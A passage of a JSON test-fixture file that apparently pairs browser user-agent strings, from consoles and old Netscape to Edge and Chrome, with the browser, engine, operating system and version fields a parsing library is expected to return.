OS", "os_version" : "18.0", "public_version" : "18.0", "version" : "18.0" }, "Mozilla/5.0 (Nintendo 3DS; U; ; ja) Version/1.7412.JP" : { "browser" : "n3ds", "browser_string" : "Nintendo 3DS", "device" : "n3ds", "device_string" : "Nintendo 3DS", "match" : [ "device", "mobile", "n3ds" ], "no_match" : [ "robot" ], "public_major" : "1", "public_minor" : "0.7412", "public_version" : "1.7412" }, "Mozilla/5.0 (PLAYSTATION 3; 2.00)" : { "browser" : "netfront", "browser_string" : "NetFront", "device" : "ps3", "device_string" : "Sony PlayStation 3", "engine" : "netfront", "engine_string" : "NetFront", "match" : [ "ps3", "ps3gameos", "netfront", "device" ], "no_match" : [ "netscape" ], "os" : "ps3gameos", "os_string" : "Playstation 3 GameOS" }, "Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.0.0; en-US) AppleWebKit/535.8+ (KHTML, like Gecko) Version/7.2.0.0 Safari/535.8+" : { "browser" : "blackberry", "browser_string" : "BlackBerry", "device" : "blackberry", "device_string" : "BlackBerry", "engine" : "webkit", "engine_beta" : "+", "engine_major" : "535", "engine_minor" : ".8", "engine_string" : "WebKit", "engine_version" : "535.8", "match" : [ "blackberry", "device", "rimtabletos", "webkit", "tablet" ], "os" : "rimtabletos", "os_string" : "RIM Tablet OS", "public_version" : "7.2", "version" : "7.2" }, "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.1.15.0" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "engine" : "webkit", "engine_major" : "413", "engine_string" : "WebKit", "engine_version" : "413", "language" : "EN", "major" : "4", "match" : [ "safari", "webkit", "mobile" ], "minor" : "0.13", "no_match" : [ "gecko" ], "other" : null, "version" : "4.13" }, "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5230/20.0.005; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.3" : { "browser" : "safari", "browser_string" : "Safari", "country" : null, "device" : "wap", "device_string" : "Nokia5230", "engine" : "webkit", "engine_major" : "525", "engine_version" : "525", "language" : null, "major" : "5", "match" : [ "safari", "device", "mobile", "webkit", "wap" ], "minor" : ".25", "no_match" : null, "other" : null, "public_major" : "3", "public_minor" : "0", "public_version" : "3.0", "version" : "5.25" }, "Mozilla/5.0 (Tablet; rv:29.0) Gecko/29.0 Firefox/29.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "29", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "29.0", "match" : [ "firefox", "firefoxos", "gecko", "tablet" ], "os" : "firefoxos", "os_beta" : "", "os_major" : "29", "os_minor" : ".0", "os_string" : "Firefox OS", "os_version" : "29.0", "public_version" : "29.0", "version" : "29.0" }, "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" : { "browser" : "edge", "browser_string" : "Edge", "engine" : "edgehtml", "engine_beta" : "", "engine_major" : "12", "engine_minor" : ".10240", "engine_string" : "EdgeHTML", "engine_version" : "12.10240", "match" : [ "edge", "edgehtml", "windows", "win32", "winnt", "win10", "win10_0" ], "os" : "windows", "os_string" : "Win10.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586" : { "browser" : "edge", "browser_string" : "Edge", "engine" : "edgehtml", "engine_beta" : "", "engine_major" : "13", "engine_minor" : ".10586", "engine_string" : "EdgeHTML", "engine_version" : "13.10586", "match" : [ "edge", "edgehtml", "windows", "win32", "winnt", "win10", "win10_0" ], "os" : "windows", "os_string" : "Win10.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0" : { "browser" : "edge", "browser_string" : "Edge", "engine" : "edgehtml", "engine_beta" : "", "engine_major" : "12", "engine_minor" : ".0", "engine_string" : "EdgeHTML", "engine_version" : "12.0", "match" : [ "edge", "edgehtml", "windows", "win32", "winnt", "win10", "win10_0" ], "os" : "windows", "os_string" : "Win10.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586,gzip(gfe)" : { "browser" : "edge", "browser_string" : "Edge", "engine" : "edgehtml", "engine_beta" : "", "engine_major" : "13", "engine_minor" : ".10586", "engine_string" : "EdgeHTML", "engine_version" : "13.10586", "match" : [ "edge", "edgehtml", "windows", "win32", "winnt", "win10", "win10_0" ], "os" : "windows", "os_string" : "Win10.0", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "major" : "11", "match" : [ "windows", "win7", "winnt", "win32", "trident", "ie", "ie11", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "version" : "11.0" }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36 OPR/15.0.1147.100" : { "browser" : "opera", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "15", "match" : [ "windows", "win7", "winnt", "win32", "webkit", "opera" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "version" : "15.0" }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.82" : { "browser" : "opera", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "webkit", "opera" ], "os" : "windows", "os_string" : "Win7", "public_major" : "20", "public_minor" : "0", "public_version" : "20.0" }, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "27", "engine_minor" : ".0", "engine_version" : "27.0", "match" : [ "gecko", "windows", "winnt", "win32", "win7", "firefox" ], "os" : "windows", "os_string" : "Win7", "public_major" : "27", "public_minor" : "0", "public_version" : "27.0" }, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; BOIE9;ENUSMSNIP; rv:11.0) like Gecko" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_version" : "7.0", "match" : [ "windows", "winnt", "win32", "win7", "ie11", "ie4up", "ie5up", "ie55up", "ie", "trident" ], "os" : "windows", "os_string" : "Win7", "public_major" : "11", "public_minor" : "0", "public_version" : "11.0" }, "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "major" : "11", "match" : [ "windows", "win8", "win8_1", "winnt", "win32", "trident", "ie", "ie11", "ie55up", "ie5up", "ie4up" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "Win8.1", "other" : null, "version" : "11.0" }, "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Mobile Safari/537.36 Edge/12.0" : { "browser" : "edge", "browser_string" : "Edge", "device" : "winphone", "engine" : "edgehtml", "engine_beta" : "", "engine_major" : "12", "engine_minor" : ".0", "engine_string" : "EdgeHTML", "engine_version" : "12.0", "match" : [ "edge", "edgehtml", "mobile", "device", "windows", "winphone", "winphone10" ], "os" : "winphone", "os_beta" : "", "os_major" : "10", "os_minor" : ".0", "os_string" : "Windows Phone", "os_version" : "10.0", "robot" : 0 }, "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1" : { "browser" : "netscape", "browser_string" : "Netscape", "country" : "US", "engine" : "gecko", "engine_beta" : ".2", "engine_major" : "0", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "0.9", "language" : "EN", "major" : "6", "match" : [ "windows", "win32", "win98", "netscape", "nav4up", "nav45up", "nav6", "nav6up", "mozilla", "gecko" ], "minor" : "0.1", "no_match" : null, "os" : "windows", "os_string" : "Win98", "other" : null, "public_major" : "6", "public_minor" : "0.1", "public_version" : "6.1", "version" : "6.1" }, "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5" : { "browser" : "firefox", "browser_string" : "Phoenix", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".3", "engine_version" : "1.3", "language" : "EN", "major" : "0", "match" : [ "windows", "win32", "winnt", "firefox", "gecko", "phoenix" ], "minor" : "0.5", "no_match" : null, "os" : "windows", "os_string" : "WinNT", "other" : "1.3a", "version" : "0.5" }, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".3", "engine_major" : "522", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "522.11", "match" : [ "windows", "winnt", "win2k", "win32", "webkit", "safari" ], "os" : "windows", "os_string" : "Win2k", "public_major" : "3", "public_minor" : "0", "public_version" : "3.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "522", "engine_minor" : ".12", "engine_version" : "522.12", "match" : [ "safari", "windows", "winnt", "win2k", "webkit", "win32" ], "os" : "windows", "os_string" : "Win2k", "public_major" : "3", "public_minor" : "0", "public_version" : "3.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "522", "engine_minor" : ".13", "engine_version" : "522.13", "match" : [ "windows", "winnt", "win2k", "win32", "webkit", "safari" ], "os" : "windows", "os_string" : "Win2k", "public_major" : "3", "public_minor" : "0", "public_version" : "3.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "match" : [ "windows", "winnt", "win2k", "win32", "firefox", "gecko" ], "os" : "windows", "os_string" : "Win2k", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8a) Gecko/20040416 Firefox/0.8.0+" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "language" : "EN", "major" : "0", "match" : [ "windows", "win32", "winnt", "win2k", "firefox", "gecko" ], "minor" : "0.8", "no_match" : null, "os" : "windows", "os_string" : "Win2k", "other" : "1.8a", "version" : "0.8" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "522", "engine_minor" : ".12", "engine_string" : "WebKit", "engine_version" : "522.12", "language" : "EN", "match" : [ "windows", "winxp", "winnt", "win32", "webkit", "safari" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "3.0", "public_minor" : "0", "public_version" : "3.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.36 Safari/534.3" : { "browser" : "chrome", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".3", "engine_string" : "WebKit", "engine_version" : "534.3", "language" : "EN", "match" : [ "winxp", "windows", "winnt", "win32", "webkit", "chrome" ], "no_match" : [ "netscape" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "6", "public_minor" : "0", "public_version" : "6.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8" : { "browser" : "safari", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".8", "engine_major" : "533", "engine_minor" : ".17", "engine_version" : "533.17", "match" : [ "winxp", "windows", "winnt", "win32", "webkit", "safari" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "5", "public_minor" : "0", "public_version" : "5.0" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".7", "engine_version" : "1.7", "language" : "EN", "major" : "0", "match" : [ "windows", "win32", "winnt", "winxp", "firefox", "gecko" ], "minor" : "0.9", "no_match" : null, "os" : "windows", "os_string" : "WinXP", "other" : "1.7", "version" : "0.9" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".0.12", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "windows", "win32", "winnt", "winxp", "gecko", "firefox" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "1", "public_minor" : "0.5", "public_version" : "1.5" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008062901 IceWeasel/3.0" : { "browser" : "firefox", "browser_string" : "Iceweasel", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "major" : "3", "match" : [ "windows", "win32", "winnt", "winxp", "firefox", "gecko", "iceweasel" ], "minor" : "0", "no_match" : null, "os" : "windows", "os_string" : "WinXP", "other" : null, "version" : "3" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.8", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "language" : "EN", "match" : [ "winxp", "windows", "winnt", "win32", "dotnet", "gecko", "firefox" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "3", "public_minor" : "0.6", "public_version" : "3.6" }, "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.5) Gecko/20031007 Firebird/0.7" : { "browser" : "firefox", "browser_string" : "Firebird", "country" : null, "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".5", "engine_version" : "1.5", "language" : "FR", "major" : "0", "match" : [ "windows", "win32", "winnt", "winxp", "firefox", "gecko", "firebird" ], "minor" : "0.7", "no_match" : null, "os" : "windows", "os_string" : "WinXP", "other" : "1.5", "version" : "0.7" }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1" : { "browser" : "safari", "browser_string" : "Safari", "country" : "US", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "530", "engine_minor" : ".19", "engine_version" : "530.19", "language" : "EN", "major" : "5", "match" : [ "windows", "win32", "winnt", "winvista", "webkit", "safari" ], "minor" : "0.3", "no_match" : [ "gecko" ], "os" : "windows", "os_string" : "WinVista", "other" : null, "public_major" : "4", "public_minor" : "0", "public_version" : "4.0", "version" : "5.3" }, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.31 Safari/530.5" : { "browser" : "chrome", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".5", "engine_version" : "530.5", "language" : "EN", "major" : "2", "match" : [ "windows", "win32", "winnt", "winvista", "webkit", "chrome" ], "minor" : "0", "no_match" : [ "safari", "gecko", "netscape" ], "os" : "windows", "os_string" : "WinVista", "other" : null, "version" : "2.0" }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.10 NET_mmhpset SearchToolbar/1.2" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.12", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "language" : "EN", "major" : "3", "match" : [ "win7", "windows", "win32", "winnt", "gecko", "firefox" ], "minor" : "0.6", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "Win7" }, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 SearchToolbar" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.12", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "language" : "EN", "major" : "3", "match" : [ "win7", "windows", "win32", "winnt", "gecko", "firefox" ], "minor" : "0.6", "no_match" : [ "robot" ], "os" : "windows", "os_string" : "Win7" }, "Mozilla/5.0 (X11; CrOS x86_64 5841.87.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.0 Safari/537.36" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "36", "match" : [ "chrome", "chromeos", "webkit", "x11" ], "minor" : "0", "os" : "chromeos", "os_beta" : ".0", "os_major" : "5841", "os_minor" : ".87", "os_string" : "Chrome OS", "os_version" : "5841.87", "public_major" : "36", "public_minor" : "0", "public_version" : "36.0", "version" : "36.0" }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_version" : "537.36", "major" : "33", "match" : [ "linux", "unix", "x11", "webkit", "chrome" ], "minor" : "0", "os" : "linux", "os_string" : "Linux", "public_major" : "33", "public_minor" : "0", "public_version" : "33.0", "version" : "33.0" }, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Page Speed Insights) Chrome/27.0.1453 Safari/537.36" : { "browser_string" : "Chrome", "browser_version" : "27.0", "country" : null, "engine" : "webkit", "engine_version" : "537.36", "language" : null, "major" : "27", "match" : [ "chrome", "google-page-speed", "linux", "robot", "robot_id", "unix", "webkit", "x11" ], "minor" : "0", "no_match" : [ "mobile", "tablet" ], "os" : "linux", "os_string" : "Linux", "other" : null, "robot" : "google-page-speed", "robot_id" : "google-page-speed", "robot_string" : "Google Page Speed" }, "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "28", "engine_minor" : ".0", "engine_version" : "28.0", "major" : "28", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "minor" : "0", "os" : "linux", "os_string" : "Linux", "public_major" : "28", "public_minor" : "0", "public_version" : "28.0", "version" : "28.0" }, "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7) Gecko/20040619 Firefox/0.9" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".7", "engine_version" : "1.7", "language" : "EN", "major" : "0", "match" : [ "unix", "freebsd", "bsd", "x11", "firefox", "gecko" ], "minor" : "0.9", "no_match" : null, "os" : "unix", "os_string" : "FreeBSD", "other" : "1.7", "version" : "0.9" }, "Mozilla/5.0 (X11; U; Linux 2.4.3-20mdk i586; en-US; rv:0.9.1) Gecko/20010611" : { "browser" : "mozilla", "browser_string" : "Mozilla", "country" : "US", "engine" : "gecko", "engine_beta" : ".1", "engine_major" : "0", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "0.9", "language" : "EN", "major" : "5", "match" : [ "linux", "netscape", "nav4up", "nav45up", "nav6", "nav6up", "unix", "x11", "gecko", "mozilla" ], "minor" : "0", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : "0.9.1", "version" : "5" }, "Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : "DE", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".6", "engine_version" : "1.6", "language" : "DE", "major" : "0", "match" : [ "unix", "linux", "x11", "firefox", "gecko" ], "minor" : "0.8", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : "1.6", "version" : "0.8" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5a) Gecko/20031002 Mozilla Firebird/0.6.1" : { "browser" : "firefox", "browser_string" : "Firebird", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".5", "engine_version" : "1.5", "language" : "EN", "major" : "0", "match" : [ "unix", "linux", "x11", "firefox", "firebird", "gecko" ], "minor" : "0.6", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : "1.5a", "version" : "0.6" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".0.5", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "os" : "linux", "os_string" : "Linux", "public_major" : "1", "public_minor" : "0.5", "public_version" : "1.5" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1.2", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "os" : "linux", "os_string" : "Linux", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.18) Gecko/2010021718 CentOS/3.0.18-1.el5.centos Firefox/3.0.18" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".0.18", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "os" : "linux", "os_string" : "Linux", "public_major" : "3", "public_minor" : "0", "public_version" : "3.0" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110308 Ubuntu/10.10 (maverick) Namoroka/3.6.16pre" : { "browser" : "firefox", "browser_string" : "Namoroka", "engine" : "gecko", "engine_beta" : ".2.16", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "match" : [ "linux", "unix", "x11", "firefox", "gecko", "namoroka" ], "os" : "linux", "os_string" : "Linux", "public_major" : "3", "public_minor" : "0.6", "public_version" : "3.6" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.3", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "os" : "linux", "os_string" : "Linux", "public_major" : "3", "public_minor" : "0.6", "public_version" : "3.6" }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.5) Gecko/20100614 Firefox/3.6.5pre Fennec/1.1" : { "browser" : "firefox", "browser_string" : "Firefox", "country" : null, "engine" : "gecko", "engine_beta" : ".2.5", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "language" : null, "major" : "3", "match" : [ "unix", "linux", "x11", "gecko", "firefox", "mobile" ], "minor" : ".6", "no_match" : null, "os" : "linux", "os_string" : "Linux", "other" : null, "public_major" : "3", "public_minor" : ".6", "public_version" : "3.6", "version" : "3.6" }, "Mozilla/5.0 (X11; U; Linux i686; ja-JP) AppleWebKit/534.12 (KHTML, like Gecko) Puffin/1.3.3507MS Safari/534.12" : { "browser" : "safari", "browser_string" : "Puffin", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".12", "engine_version" : "534.12", "match" : [ "safari", "linux", "x11", "webkit", "unix" ], "minor" : ".34", "no_match" : [ "robot" ], "os" : "linux", "os_string" : "Linux", "version" : "5.34" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".4", "engine_string" : "WebKit", "engine_version" : "533.4", "match" : [ "linux", "unix", "x11", "webkit", "chrome" ], "no_match" : [ "netscape" ], "os" : "linux", "os_string" : "Linux", "public_major" : "5", "public_minor" : "0", "public_version" : "5.0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".4", "engine_string" : "WebKit", "engine_version" : "533.4", "match" : [ "linux", "unix", "x11", "webkit", "chrome" ], "no_match" : [ "netscape" ], "os" : "linux", "os_string" : "Linux", "public_major" : "5", "public_minor" : "0", "public_version" : "5.0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/6.0.495.0 Safari/534.6" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".6", "engine_string" : "WebKit", "engine_version" : "534.6", "match" : [ "linux", "unix", "x11", "webkit", "chrome" ], "no_match" : [ "netscape" ], "os" : "linux", "os_string" : "Linux", "public_major" : "6", "public_minor" : "0", "public_version" : "6.0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.503.1 Safari/534.6" : { "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".6", "engine_string" : "WebKit", "engine_version" : "534.6", "match" : [ "linux", "unix", "x11", "webkit", "chrome" ], "no_match" : [ "netscape" ], "os" : "linux", "os_string" : "Linux", "public_major" : "7", "public_minor" : "0", "public_version" : "7.0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "match" : [ "linux", "unix", "x11", "gecko", "firefox" ], "os" : "linux", "os_string" : "Linux", "public_major" : "2", "public_minor" : "0", "public_version" : "2.0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Galeon/2.0.2 (Ubuntu package 2.0.2-4ubuntu1) Firefox/2.0.0.4 (Ubuntu-feisty)" : { "browser" : "galeon", "browser_string" : "Galeon", "engine" : "gecko", "engine_beta" : ".1.4", "engine_major" : "1", "engine_minor" : ".8", "engine_version" : "1.8", "match" : [ "linux", "unix", "x11", "galeon", "gecko" ], "os" : "linux", "os_string" : "Linux", "public_beta" : ".2", "public_major" : "2", "public_minor" : ".0", "public_version" : "2.0" }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100722 SeaMonkey/2.0.6" : { "browser" : "seamonkey", "browser_string" : "SeaMonkey", "engine" : "gecko", "engine_beta" : ".1.11", "engine_major" : "1", "engine_minor" : ".9", "engine_version" : "1.9", "match" : [ "linux", "unix", "x11", "gecko", "mozilla", "nav45up", "nav4up", "nav6", "nav6up", "netscape", "seamonkey" ], "os" : "linux", "os_string" : "Linux", "public_beta" : ".6", "public_major" : "2", "public_minor" : ".0" }, "Mozilla/5.0 (X11; U; Linux 